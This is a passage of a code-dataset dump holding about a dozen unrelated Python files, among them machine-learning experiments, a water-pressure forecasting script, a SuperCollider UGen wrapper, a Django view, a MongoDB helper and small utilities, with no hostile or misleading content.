= np.round(y_pred)\n accuracy = accuracy_score(test_Y, y_pred)\n precision, recall, fscore, _ = precision_recall_fscore_support(test_Y,\n y_pred, average='binary')\n print(\"accuracy: %.4f, recall: %.4f, \"\n \"precision: %.4f, f1 score: %.4f\\n\" % (\n accuracy, recall, precision, fscore))\n fout.write('*' * 80 + '\\n')\n fout.write('Fold %d:\\n' % (fold_index))\n fout.write('Time cost: %.2f\\n' % (t_end - t_beg))\n fout.write(\"Fold index: %d, accuracy: %.4f, recall: %.4f, \"\n \"precision: %.4f, f1 score: %.4f\\n\" % (\n fold_index, accuracy, recall, precision, fscore))\n fout.flush()\n\n avg_accuracy += accuracy\n avg_precision += precision\n avg_recall += recall\n avg_f1_score += fscore\n\n print('*' * 80)\n fold_index += 1\n\n avg_accuracy /= 10.0\n avg_precision /= 10.0\n avg_recall /= 10.0\n avg_f1_score /= 10.0\n\n print('Avg accuracy: %.4f, avg recall: %.4f, avg precision: %.4f, avg f1 '\n 'score: %.4f' % (\n avg_accuracy, avg_recall, avg_precision, avg_f1_score))\n fout.write('*' * 80 + '\\n')\n fout.write(\n 'Avg accuracy: %.4f, avg recall: %.4f, avg precision: %.4f, avg f1 '\n 'score: %.4f\\n' % (avg_accuracy, avg_recall, avg_precision, avg_f1_score))\n\ndef predict_on_full_dataset(documents, tags):\n texts = [[word for word in document.split() ] for document in documents]\n\n frequency = defaultdict(int)\n for text in texts:\n for token in text:\n frequency[token] += 1\n\n # frequency変数で1より上の単語のみを配列に構築\n texts = [[token for token in text if frequency[token] > 1] for text in texts]\n\n model = Doc2Vec.load(\"model/pvdm.model\")\n dv = np.array([model.infer_vector(text) for text in texts])\n Xl, Xr, y = load_dataset(dv, tags)\n Xl, Xr, y = shuffle(Xl, Xr, y, random_state=0)\n\n model = K.models.load_model('pvdm/4/model.ckpt')\n y_pred = model.predict([Xl, Xr], verbose=1, batch_size=batch_size)\n y_pred = np.round(y_pred)\n accuracy = accuracy_score(y, y_pred)\n precision, recall, fscore, _ = precision_recall_fscore_support(y,\n y_pred, average='binary')\n print(\"prediction, accuracy: %.4f, recall: %.4f, \"\n \"precision: %.4f, f1 score: %.4f\\n\" % (\n accuracy, recall, precision, fscore))\n\n return 0\n\n \nif __name__ == '__main__':\n # model_summary()\n if os.path.exists('result') is not True:\n os.mkdir(\"result\")\n fout = open('result/pvdm.txt', 'w')\n documents, tags = load_documents()\n dv = train_docvecs(documents)\n \n beg = time.time()\n train_10_fold_balanced(dv, tags)\n st = time.time()\n print(\"Total time: \", st-beg)\n\n st = time.time()\n predict_on_full_dataset(documents, tags)\n print(\"Predict time on the full dataset: \", time.time() - st)\n fout.write(\"Predict time on the full dataset: \" + str(time.time() - st) + '\\n')\n fout.close()","sub_path":"GCJ/learning/pvdm.py","file_name":"pvdm.py","file_ext":"py","file_size_in_byte":10215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"601538104","text":"# -*- encoding: utf-8 -*-\nfrom supriya.tools.ugentools.UGen import UGen\n\n\nclass LinCongN(UGen):\n r'''A non-interpolating linear congruential chaotic generator.\n\n ::\n\n >>> lin_cong_n = ugentools.LinCongN.ar(\n ... a=1.1,\n ... c=0.13,\n ... frequency=22050,\n ... m=1,\n ... xi=0,\n ... )\n >>> lin_cong_n\n LinCongN.ar()\n\n '''\n\n ### CLASS VARIABLES ###\n\n __documentation_section__ = 'Chaos UGens'\n\n __slots__ = ()\n\n _ordered_input_names = (\n 'frequency',\n 'a',\n 'c',\n 'm',\n 'xi',\n )\n\n _valid_calculation_rates = None\n\n ### INITIALIZER ###\n\n def __init__(\n self,\n calculation_rate=None,\n a=1.1,\n c=0.13,\n frequency=22050,\n m=1,\n xi=0,\n ):\n UGen.__init__(\n self,\n calculation_rate=calculation_rate,\n a=a,\n c=c,\n frequency=frequency,\n m=m,\n xi=xi,\n )\n\n ### PUBLIC METHODS ###\n\n @classmethod\n def ar(\n cls,\n a=1.1,\n c=0.13,\n frequency=22050,\n m=1,\n xi=0,\n ):\n r'''Constructs an audio-rate LinCongN.\n\n ::\n\n >>> lin_cong_n = ugentools.LinCongN.ar(\n ... a=1.1,\n ... c=0.13,\n ... frequency=22050,\n ... m=1,\n ... xi=0,\n ... )\n >>> lin_cong_n\n LinCongN.ar()\n\n Returns ugen graph.\n '''\n from supriya.tools import synthdeftools\n calculation_rate = synthdeftools.CalculationRate.AUDIO\n ugen = cls._new_expanded(\n calculation_rate=calculation_rate,\n a=a,\n c=c,\n frequency=frequency,\n m=m,\n xi=xi,\n )\n return ugen\n\n # def equation(): ...\n\n ### PUBLIC PROPERTIES ###\n\n @property\n def a(self):\n r'''Gets `a` input of LinCongN.\n\n ::\n\n >>> lin_cong_n = ugentools.LinCongN.ar(\n ... a=1.1,\n ... c=0.13,\n ... frequency=22050,\n ... m=1,\n ... xi=0,\n ... )\n >>> lin_cong_n.a\n 1.1\n\n Returns ugen input.\n '''\n index = self._ordered_input_names.index('a')\n return self._inputs[index]\n\n @property\n def c(self):\n r'''Gets `c` input of LinCongN.\n\n ::\n\n >>> lin_cong_n = ugentools.LinCongN.ar(\n ... a=1.1,\n ... c=0.13,\n ... frequency=22050,\n ... m=1,\n ... xi=0,\n ... )\n >>> lin_cong_n.c\n 0.13\n\n Returns ugen input.\n '''\n index = self._ordered_input_names.index('c')\n return self._inputs[index]\n\n @property\n def frequency(self):\n r'''Gets `frequency` input of LinCongN.\n\n ::\n\n >>> lin_cong_n = ugentools.LinCongN.ar(\n ... a=1.1,\n ... c=0.13,\n ... frequency=22050,\n ... m=1,\n ... xi=0,\n ... )\n >>> lin_cong_n.frequency\n 22050.0\n\n Returns ugen input.\n '''\n index = self._ordered_input_names.index('frequency')\n return self._inputs[index]\n\n @property\n def m(self):\n r'''Gets `m` input of LinCongN.\n\n ::\n\n >>> lin_cong_n = ugentools.LinCongN.ar(\n ... a=1.1,\n ... c=0.13,\n ... frequency=22050,\n ... m=1,\n ... xi=0,\n ... )\n >>> lin_cong_n.m\n 1.0\n\n Returns ugen input.\n '''\n index = self._ordered_input_names.index('m')\n return self._inputs[index]\n\n @property\n def xi(self):\n r'''Gets `xi` input of LinCongN.\n\n ::\n\n >>> lin_cong_n = ugentools.LinCongN.ar(\n ... a=1.1,\n ... c=0.13,\n ... frequency=22050,\n ... m=1,\n ... xi=0,\n ... )\n >>> lin_cong_n.xi\n 0.0\n\n Returns ugen input.\n '''\n index = self._ordered_input_names.index('xi')\n return self._inputs[index]","sub_path":"supriya/tools/ugentools/LinCongN.py","file_name":"LinCongN.py","file_ext":"py","file_size_in_byte":4393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"9198203","text":"# 毫無價值的代碼\n# 再次強調,本代碼純屬娛樂,請大家不要學習\n# 更新記錄:\n# 20210225 融合係數0.9改爲0.85\n# 20210227 近期預測的權重,原本統一爲倒數的二次方,今前兩段改爲倒數的四次方,後兩段改爲倒數\n#\n# 4.931782\n\nimport datetime\nimport numpy\nimport pandas\n\n\n# 添加「段」字段來標記是1~2月的、3~4月的、5~6月的還是8~9月的數據;預測每一段時衹用該段的數據,來確保不會用到穿越的數據\n# 但事實上由於各段距離太長,預測某一段時其它段的數據根本沒有什麼作用\ndef 取得段(日期):\n\t月日 = 日期[5:]\n\tif 月日 < \"03-01\":\n\t\treturn 0\n\tif 月日 < \"05-01\":\n\t\treturn 1\n\tif 月日 < \"08-01\":\n\t\treturn 2\n\treturn 3\n\n\ndef 處理原表(某原表):\n\t某表 = None\n\tfor 甲 in range(24):\n\t\t甲表 = 某原表.loc[:, [\"日期\", \"日序\", \"站點\", \"段\", \"H%d\" % 甲]].rename({\"H%d\" % 甲: \"壓力\"}, axis=1)\n\t\t甲表[\"時\"] = 甲\n\t\t某表 = pandas.concat([某表, 甲表], ignore_index=True)\n\t\n\treturn 某表\n\n\n零日 = datetime.datetime.strptime(\"2021-01-01\", \"%Y-%m-%d\")\n近期原表 = pandas.read_csv(\"test_水压数据_2020.csv\")\n近期原表.columns = [\"日期\", \"站點\"] + 近期原表.columns[2:].to_list()\n近期原表[\"日序\"] = [(datetime.datetime.strptime(子, \"%Y-%m-%d\") - 零日).days for 子 in 近期原表.日期]\n近期原表[\"段\"] = [取得段(子) for 子 in 近期原表.日期]\n近期表 = 處理原表(近期原表)\n近期表 = 近期表.loc[(近期表.壓力 >= 0.1) & (近期表.壓力 <= 0.5)]\n\n歷史測試零日 = datetime.datetime.strptime(\"2020-01-01\", \"%Y-%m-%d\")\n歷史原表 = pandas.read_csv(\"train_水压数据_2019.csv\", header=0)\n歷史原表.columns = [\"日期\", \"站點\"] + 歷史原表.columns[2:].to_list()\n歷史原表[\"日序\"] = [(datetime.datetime.strptime(子, \"%Y-%m-%d\") - 歷史測試零日).days for 子 in 歷史原表.日期]\n歷史原表[\"段\"] = [取得段(子) for 子 in 歷史原表.日期]\n歷史表 = 處理原表(歷史原表)\n歷史表 = 歷史表.loc[(歷史表.壓力 >= 0.1) & (歷史表.壓力 <= 0.5)]\n\n待測表 = pandas.read_csv(\"to_predict.csv\")\n待測表.columns = [\"標識\", \"日期\", \"站點\", \"時\"]\n待測表[\"時\"] = [int(子[1:]) for 子 in 待測表.時]\n待測表[\"日序\"] = [(datetime.datetime.strptime(子, \"%Y-%m-%d\") - 零日).days for 子 in 待測表.日期]\n待測表[\"段\"] = [取得段(子) for 子 in 待測表.日期]\n待測表[\"月日\"] = [子[5:] for 子 in 待測表.日期]\n\n# 以下分別利用歷史同期數據和近期數據預測\n歷史預測表 = 待測表.loc[:, [\"站點\", \"日序\", \"時\"]].merge(歷史表.loc[:, [\"站點\", \"日序\", \"時\", \"壓力\"]].rename({\"日序\": \"訓練日序\", \"壓力\": \"訓練壓力\"}, axis=1), on=[\"站點\", \"時\"])\n歷史預測表 = 歷史預測表.loc[(歷史預測表.日序 - 歷史預測表.訓練日序).abs() <= 3]\n歷史預測表[\"權重\"] = 1 / (1 + (歷史預測表.日序 - 歷史預測表.訓練日序).abs() ** 4)\n歷史預測表[\"加權訓練壓力\"] = 歷史預測表.權重 * 歷史預測表.訓練壓力\n歷史預測表 = 歷史預測表.groupby([\"站點\", \"日序\", \"時\"]).aggregate({\"權重\": \"sum\", \"加權訓練壓力\": \"sum\"}).reset_index()\n歷史預測表[\"歷史預測壓力\"] = 歷史預測表.加權訓練壓力 / 歷史預測表.權重\n歷史預測表 = 歷史預測表.loc[:, [\"站點\", \"日序\", \"時\", \"歷史預測壓力\"]]\n\n# 近期的數據用加權平均值\n# 其中前兩段權重爲日數距離的倒數,後兩段爲日數距離的倒數的四次方\n# 同樣衹是試出來的\n預測表 = 待測表.loc[:, [\"標識\", \"站點\", \"段\", \"月日\", \"日序\", \"時\"]].merge(近期表.loc[(近期表.壓力 >= 0.1) & (近期表.壓力 <= 0.5), [\"站點\", \"段\", \"日序\", \"時\", \"壓力\"]].rename({\"日序\": \"訓練日序\", \"壓力\": \"訓練壓力\"}, axis=1), on=[\"站點\", \"段\", \"時\"])\n預測表[\"權重指數\"] = 4\n預測表.loc[預測表.段.isin([2, 3]), \"權重指數\"] = 1\n預測表[\"權重\"] = 1 / (預測表.日序 - 預測表.訓練日序) ** 預測表.權重指數\n���測表[\"加權訓練壓力\"] = 預測表.權重 * 預測表.訓練壓力\n預測表 = 預測表.groupby([\"標識\", \"站點\", \"段\", \"日序\", \"時\"]).aggregate({\"權重\": \"sum\", \"加權訓練壓力\": \"sum\"}).reset_index()\n預測表[\"近期預測壓力\"] = 預測表.加權訓練壓力 / 預測表.權重\n預測表 = 預測表.merge(歷史預測表, on=[\"站點\", \"日序\", \"時\"], how=\"left\")\n預測表.loc[預測表.歷史預測壓力.isna(), \"歷史預測壓力\"] = 預測表.loc[預測表.歷史預測壓力.isna(), \"近期預測壓力\"]\n\n# 將歷史同期預測和近期預測進行加權集成\n# 其中前兩段直接用近期預測而不需要集成,後兩段加以17:2的權重集成\n# 我完全可以給出能讓大家滿意的解釋來說明我是如何做出這一判斷的,但事實上我衹是經過測試發現這樣比較好\n# 無非就是2020年和2019年的前2段恰好差距比較大,後2段恰好比較接近而已,如果換一個年份,完全有可能要做相反的處理\n預測表[\"近期係數\"] = 1\n預測表.loc[預測表.段.isin([2, 3]), \"近期係數\"] = 0.85\n預測表[\"預測壓力\"] = 預測表.近期係數 * 預測表.近期預測壓力 + (1 - 預測表.近期係數) * 預測表.歷史預測壓力\n\n# 乘以一個係數,以固定預測的總平均值\n# 同樣我可以做一些令人眼花繚亂的計算來得到0.2805這個數值,但事實上它衹是我之前的最佳結果的總平均值,我不能保證它是最好的,也許換成0.2800或者0.2810會得到更高的成績\n預測表.預測壓力 *= 0.2805 / 預測表.預測壓力.mean()\n預測表 = 預測表.loc[:, [\"標識\", \"站點\", \"日序\", \"時\", \"預測壓力\"]]\n\n提交表 = 預測表.loc[:, [\"標識\", \"預測壓力\"]]\n提交表.columns = [\"id\", \"pressure\"]\n提交表.to_csv(\"20210227.csv\", header=True, index=False)\n","sub_path":"20210227.py","file_name":"20210227.py","file_ext":"py","file_size_in_byte":5921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"201578377","text":"import numpy as np\nclass Line:\n def __init__(self, width):\n self.width = width\n self.n_iters = 5\n # was the line detected in the last iteration?\n # x values of the last n fits of the line\n self.recent_xfitted = [] \n #average x values of the fitted line over the last n iterations\n self.bestx = None \n #polynomial coefficients averaged over the last n iterations\n self.best_fit = None \n #polynomial coefficients for the most recent fit\n self.current_fit = [np.array([False])] \n #radius of curvature of the line in some units\n self.radius_of_curvature = None \n #distance in meters of vehicle center from the line\n self.line_base_pos = None\n #difference in fit coefficients between last and new fits\n self.diffs = np.array([0,0,0], dtype='float') \n #x values for detected line pixels\n self.allx = None \n #y values for detected line pixels\n self.ally = None\n self.ym_per_pix = 30.0/720 # meters per pixel in y dimension\n self.xm_per_pix = 3.7/640 # meters per pixel in x dimension\n self.y_eval = None\n \n def append(self, fit, ploty):\n self.recent_xfitted.append(fit)\n self.current_fit = fit\n \n self.best_fit = np.array(self.recent_xfitted[-self.n_iters:]).mean(axis=0)\n self.ally = ploty\n self.allx = self.best_fit[0]*ploty**2 + self.best_fit[1]*ploty + self.best_fit[2]\n \n if self.y_eval == None:\n self.y_eval = np.max(ploty)\n \n self.radius_of_curvature = ((1 + (2*self.best_fit[0]*self.y_eval*self.ym_per_pix + self.best_fit[1])**2)**1.5) / np.absolute(2*self.best_fit[0])\n \n\n \n def set_line_base_pos(self, base):\n self.line_base_pos = (self.width / 2.0 - base) * self.xm_per_pix\n ","sub_path":"examples/line.py","file_name":"line.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"653233787","text":"\nfrom hurl import asserts\nfrom hurl import query\n\n\ndef eval_response_spec(response, props, ignore_asserts=False):\n assert_entries = []\n\n if 'status' in response:\n assert_entries.append({\n 'query': {'type': 'status'},\n 'predicate': {'type': 'equal', 'value': response['status']},\n 'spec': 'http status'\n })\n\n if 'headers' in response:\n for header in response['headers']:\n assert_entries.append({\n 'query': {'type': 'header', 'expr': header['name']},\n 'predicate': {'type': 'equal', 'value': header['value']},\n 'spec': 'http header'\n })\n\n if 'asserts' in response:\n for _assert in response['asserts']:\n assert_entries.append(_assert)\n\n _asserts = []\n if not ignore_asserts:\n for entry_input in assert_entries:\n error, _assert = asserts._eval(entry_input, props)\n if error:\n return error, None\n _asserts.append(_assert)\n\n captures = []\n if 'captures' in response:\n for capture in response['captures']:\n error, q = query._eval(capture['query'])\n if error:\n return error, None\n captures.append({'name': capture['name'], 'query': q})\n\n return None, {'captures': captures, 'asserts': _asserts}\n","sub_path":"hurl/http_response_spec.py","file_name":"http_response_spec.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"238777965","text":"import logging\nfrom logging import handlers\n\n\nclass MyLogger:\n __level_relations = {\n 'debug': logging.DEBUG,\n 'info': logging.INFO,\n 'warning': logging.WARNING,\n 'error': logging.ERROR,\n 'crit': logging.CRITICAL\n }\n\n def __init__(self, filename='log.txt', level='debug', fmt='%(asctime)s - %(levelname)s: %(message)s'):\n self.logger = logging.getLogger(filename)\n format_str = logging.Formatter(fmt)\n\n self.logger.setLevel(self.__level_relations.get(level))\n sh = logging.StreamHandler()\n sh.setFormatter(format_str)\n\n th = handlers.TimedRotatingFileHandler(filename=filename, when='D', backupCount=3,\n encoding='utf-8')\n\n th.setFormatter(format_str)\n self.logger.addHandler(sh)\n self.logger.addHandler(th)\n\n\nif __name__ == '__main__':\n log = MyLogger('test.log', level='debug')\n log.logger.warning('Test')\n log.logger.error('Test')\n log.logger.info('Test')\n log.logger.critical('Test')\n log.logger.debug('Test')","sub_path":"MyLogger.py","file_name":"MyLogger.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"358325307","text":"import unittest\nfrom src.models.port import Port\nfrom src.enums.port_status import PortStatus\n\n\nclass TestPort(unittest.TestCase):\n\n def test_constructor_returns_instance_with_correct_values_for_open_port(self):\n port = Port(2000, PortStatus.OPEN)\n self.assertEqual(port.number, 2000)\n self.assertEqual(port.status, PortStatus.OPEN)\n\n def test_constructor_returns_instance_with_correct_values_for_closed_port(self):\n port = Port(3000, PortStatus.CLOSED)\n self.assertEqual(port.number, 3000)\n self.assertEqual(port.status, PortStatus.CLOSED)\n","sub_path":"test/models/test_port.py","file_name":"test_port.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"102446422","text":"# An experiment to try things out\nimport copy\nimport random as r\n\nimport numpy as np\nimport training\nimport tensorflow as tf\n\nparams = {}\nparams['data_name'] = 'Burgers_Eqn_exp32' ## FILL IN HERE (from file name)\nparams['folder_name'] = 'Burgers_exp32e' # UPDATE so goes in own folder\nparams['restore'] = 0 # Restore a previous model\n\nn = 128 # number of inputs (spatial discretization)\nparams['delta_t'] = 0.002 # Time step\nparams['len_time'] = 51 # Number of time steps in each trajectory\nparams['mu'] = 1.0 # Strength of viscous (diffusion) term in Burgers' - only needed if seeding middle layer\nnumICs = 6000 # Number of initial conditions\nparams['data_train_len'] = 20 # Number of training data sets\n\nparams['num_evals'] = 128 # how many eigenvalues / how many frequencies / what's the low dimension\nl = params['num_evals']\n\nparams['network_arch'] = 'fully_connected' # Choose 'convnet' or 'fully_connected'\n\n# If fully-connected layers:\nparams['act_type'] = tf.nn.relu\nparams['widths'] = [n, n, n, n, n, n, l, l, n, n, n, n, n, n]\nparams['linear_encoder_layers'] = [4, 5] # 0 is relu, 1&2 are linear\nparams['linear_decoder_layers'] = [0, 5] # 0 linear, 1 relu, 2 linear\nparams['log_space'] = 0 # 1 if you want to take a logarithm at beginning of encoder/decoder\n\n# If convolutional neural net\nparams['n_inputs'] = 128\nparams['conv1_filters'] = 32 # Number of filters in encoder convolutional layer\nparams['n_middle'] = l\nparams['conv2_filters'] = 16 # Number of filters in decoder convolutional layer\nparams['n_outputs'] = 128\n\n# For either type of architecture\nparams['seed_middle'] = 0 # Seed middle three layers with heat equation (Fourier transform, diagonal matrix, inverse FT)\nparams['fix_middle'] = 0 # Can only fix middle layers if you also seed middle\nparams['add_identity'] = 1\n# He initialization = tf.contrib.layers.variance_scaling_initializer(), Identity initialization = identity_initializer()\nparams['initialization'] = 'He' # Choose 'He' or 'identity'\n\nparams['relative_loss'] = 1\nparams['auto_first'] = 1 # Train autoencoder only for first 5 minutes\nparams['diag_L'] = 1 # Middle Layer (dynamics) forced to be diagonal \n\nparams['num_shifts'] = params['len_time']-1 # For prediction loss\nparams['num_shifts_middle'] = params['len_time']-1 # For linearity loss\n\nparams['max_time'] = 1 * 20 * 60 # hours * minutes * seconds\nparams['num_passes_per_file'] = 15 * 6 * 10 * 50 # may be limiting factor\nparams['num_steps_per_batch'] = 2\n\n# Stop if loss is greater than given number\nparams['min_5min'] = 10**3 \nparams['min_20min'] = 10**2\nparams['min_40min'] = 10\nparams['min_1hr'] = 10\nparams['min_2hr'] = 10\nparams['min_3hr'] = 10\nparams['min_4hr'] = 10\nparams['min_halfway'] = 10 \n\n# Strength of loss terms\nparams['autoencoder_loss_lam'] = 1.0\nparams['prediction_loss_lam'] = 1.0\nparams['linearity_loss_lam'] = 1.0\nparams['inner_autoencoder_loss_lam'] = 1.0\nparams['outer_autoencoder_loss_lam'] = 1.0\n\n# Regularization\nparams['L1_lam'] = 0.0\nparams['L2_lam'] = 10**(-8)\n\nmax_shifts = max(params['num_shifts'], params['num_shifts_middle'])\nnum_examples = numICs * (params['len_time'] - max_shifts)\nparams['batch_size'] = min(num_examples, 64)\nsteps_to_see_all = num_examples / params['batch_size']\nparams['num_steps_per_file_pass'] = (int(steps_to_see_all) + 1) * params['num_steps_per_batch']\n\nfor count in range(20):\n # only randomized part is learning_rate\n params['rand_seed'] = r.randint(0,10**(10))\n r.seed(params['rand_seed'])\n params['learning_rate'] = 10**(-r.uniform(3,6))\n print(params['learning_rate'])\n \n training.main_exp(copy.deepcopy(params))\n","sub_path":"Burgers_Experiment32e.py","file_name":"Burgers_Experiment32e.py","file_ext":"py","file_size_in_byte":3619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"246083983","text":"from django.views import View\nfrom ipl import models\nfrom functools import reduce\nfrom django.shortcuts import render, redirect\nfrom django.urls import resolve\nfrom django.db.models import Count, Sum\n\n\nclass PointsView(View):\n def get(self, request, **kwargs):\n yid = models.Seasons.objects.get(year=kwargs['year'])\n teams = models.Matches.objects.values_list('team1', 'team2').filter(year=yid)\n teams = reduce(lambda x, y: x + y, teams)\n teams = list(set(teams))\n teams = {i: 0 for i in teams}\n details = models.Matches.objects.values().filter(year=yid)\n seasons = models.Seasons.objects.all()\n for x in details:\n if x['winner'] == '':\n teams[x['team1']] += 1\n teams[x['team2']] += 1\n else:\n teams[x['winner']] += 2\n\n teams = [{'name':i,'score':teams[i]} for i in teams]\n\n return render(\n request,\n template_name='ipl/points.html',\n context={\n 'teams': teams,\n 'seasons': seasons,\n },\n )","sub_path":"AppsTrack/iplpage/ipl/views/points.py","file_name":"points.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"421322676","text":"#!/usr/bin/env python\n# coding=utf-8\n\nfrom mongodb_util import MongoUtil\nfrom pymongo import MongoClient\n\nclass ProcessList:\n __dbName = \"spider\"\n __tableName = \"process_list\"\n __RUNNING = 1\n __STOP = 2\n\n def __init__(self):\n self.__client = MongoClient()\n db = self.__client[self.__dbName]\n if not self.__tableName in db.collection_names():\n db.get_collection(self.__tableName).drop()\n db.create_collection(self.__tableName, capped=True, size=20, max=20)\n self.coll = db[self.__tableName]\n\n def __del__(self):\n self.__client.close()\n\n def clear(self):\n return self.coll.drop()\n\n def process_regist(self,process_id):\n obj = {\n '_id':process_id,\n 'task_number':0,\n 'status':self.__RUNNING,\n 'max_thread_size':1\n }\n if not self.coll.find_one({'_id':process_id}):\n obj_id = self.coll.insert(obj)\n return obj_id\n\n\n def find_process_id_by_least_task_number(self):\n if self.coll.find().count()>0:\n records = self.coll.find().sort('task_number',1).limit(-1)\n for record in records:\n return record['_id']\n return None\n\n def process_task_add(self,_id):\n obj = {'_id':_id}\n record = self.coll.find_one(obj)\n if record:\n task_number = record['task_number']\n return self.coll.update_one(obj,{'$set':{'task_number':task_number+1}})\n\n def process_task_reduce(self,_id):\n obj = {'_id': _id}\n task_number = self.coll.find_one(obj)['task_number']\n if task_number - 1 < 0:\n task_number = 0\n else:\n task_number -= 1\n return self.coll.update_one(obj, {'$set': {'task_number': task_number}})\n\n def add_max_thread_size(self,_id,max_thread_size):\n return self.coll.update_one({'_id':_id},{'$set':{'max_thread_size':max_thread_size}})\n\n def start_process(self,_id):\n return self.coll.update_one({'_id': _id}, {'$set': {'status': self.__RUNNING}})\n\n def stop_process(self,_id):\n return self.coll.update_one({'_id': _id}, {'$set': {'status': self.__STOP}})","sub_path":"爬虫/爬虫项目3.0/process_manage_dao.py","file_name":"process_manage_dao.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"85356144","text":"\"\"\"\nPytorch implementation of \"A simple neural network module for relational reasoning\"\n\"\"\"\nfrom __future__ import print_function\n\nimport argparse\nimport os\nimport pickle\n\nimport torch\nfrom torch.autograd import Variable\nfrom torch.utils.data import DataLoader\nfrom torchvision import transforms\nfrom tqdm import tqdm\n\nimport utils\nfrom clevr_dataset_connector import ClevrDatasetImages\nfrom model import RN\n\n\ndef extract_features_rl(data, max_features_file, avg_features_file, model, args):\n assert args.layer, \"A layer must be specified.\"\n lay, io = args.layer.split(':')\n\n maxf = []\n avgf = []\n\n def hook_function(m, i, o):\n nonlocal maxf, avgf\n '''print(\n 'm:', type(m),\n '\\ni:', type(i),\n '\\n len:', len(i),\n '\\n type:', type(i[0]),\n '\\n data size:', i[0].data.size(),\n '\\n data type:', i[0].data.type(),\n '\\no:', type(o),\n '\\n data size:', o.data.size(),\n '\\n data type:', o.data.type(),\n )'''\n if io == 'i':\n z = i[0]\n else:\n z = o\n # aggregate features\n d4_combinations = z.size()[0] // args.batch_size\n x_ = z.view(args.batch_size, d4_combinations, z.size()[1])\n maxf = x_.max(1)[0].squeeze()\n avgf = x_.mean(1).squeeze()\n\n maxf = maxf.data.cpu().numpy()\n avgf = avgf.data.cpu().numpy()\n\n model.eval()\n\n progress_bar = tqdm(data)\n progress_bar.set_description('FEATURES EXTRACTION from {}'.format(args.layer))\n max_features = []\n avg_features = []\n for batch_idx, sample_batched in enumerate(progress_bar):\n qst = torch.LongTensor(args.batch_size, 1).zero_()\n qst = Variable(qst)\n\n img = Variable(sample_batched)\n if args.cuda:\n qst = qst.cuda()\n img = img.cuda()\n\n extraction_layer = model._modules.get('rl')._modules.get(lay)\n h = extraction_layer.register_forward_hook(hook_function)\n model(img, qst)\n h.remove()\n\n max_features.append((batch_idx, maxf))\n avg_features.append((batch_idx, avgf))\n\n pickle.dump(max_features, max_features_file)\n pickle.dump(avg_features, avg_features_file)\n\n\ndef main(args):\n assert os.path.isfile(args.checkpoint), \"Checkpoint file not found: {}\".format(args.checkpoint)\n\n args.cuda = not args.no_cuda and torch.cuda.is_available()\n\n test_transforms = transforms.Compose([transforms.Resize((128, 128)),\n transforms.ToTensor()])\n\n # Initialize CLEVR Loader\n clevr_dataset_images = ClevrDatasetImages(args.clevr_dir, 'val', test_transforms)\n clevr_feat_extraction_loader = DataLoader(clevr_dataset_images, batch_size=args.batch_size,\n shuffle=False, num_workers=8, drop_last=True)\n\n args.features_dirs = './features'\n if not os.path.exists(args.features_dirs):\n os.makedirs(args.features_dirs)\n\n max_features = os.path.join(args.features_dirs, 'max_features.pickle')\n avg_features = os.path.join(args.features_dirs, 'avg_features.pickle')\n\n print('Building word dictionaries from all the words in the dataset...')\n dictionaries = utils.build_dictionaries(args.clevr_dir)\n print('Word dictionary completed!')\n\n args.qdict_size = len(dictionaries[0])\n args.adict_size = len(dictionaries[1])\n model = RN(args)\n\n if torch.cuda.device_count() > 1 and args.cuda:\n model = torch.nn.DataParallel(model)\n model.module.cuda() # call cuda() overridden method\n\n if args.cuda:\n model.cuda()\n\n # Load the model checkpoint\n print('==> loading checkpoint {}'.format(args.checkpoint))\n checkpoint = torch.load(args.checkpoint)\n\n #removes 'module' from dict entries, pytorch bug #3805\n checkpoint = {k.replace('module.',''): v for k,v in checkpoint.items()}\n\n model.load_state_dict(checkpoint)\n print('==> loaded checkpoint {}'.format(args.checkpoint))\n\n max_features = open(max_features, 'wb')\n avg_features = open(avg_features, 'wb')\n\n extract_features_rl(clevr_feat_extraction_loader, max_features, avg_features, model, args)\n\n\nif __name__ == '__main__':\n # Training settings\n parser = argparse.ArgumentParser(description='PyTorch Relational-Network CLEVR Feature Extraction')\n parser.add_argument('--checkpoint', type=str,\n help='model checkpoint to use for feature extraction')\n parser.add_argument('--model', type=str, choices=['original', 'ir'], default='original',\n help='which model is used to train the network')\n parser.add_argument('--layer', type=str, default=None, # TODO set a default layer\n help='layer of the RN from which features are extracted')\n parser.add_argument('--clevr-dir', type=str, default='.',\n help='base directory of CLEVR dataset')\n parser.add_argument('--batch-size', type=int, default=64, metavar='N',\n help='input batch size for training (default: 64)')\n parser.add_argument('--no-cuda', action='store_true', default=False,\n help='disables CUDA training')\n args = parser.parse_args()\n main(args)\n","sub_path":"extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":5295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"517510120","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Nov 23 00:29:50 2019\n\n@author: admin\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nf = 50\nfs = 10000\nA = 1\nN = 1\nT = 1/f\nc=(N*T)/(1/fs)\nt = np.linspace(0,N*T,c)\nn = 2\nfor i in range(0,2*n+2):\n s =+ (A/((2*i+1)*(2*i+1)))*np.sin(2*np.pi*(2*i+1)*f*t)\n#ket thuc vong lap\nplt.plot(t,s)\nplt.xlabel('t')\nplt.ylabel('s(t)')\nplt.title('bieu dien S(t)')\nplt.show\nplt.savefig('books_read_2.png')\n","sub_path":"Bai 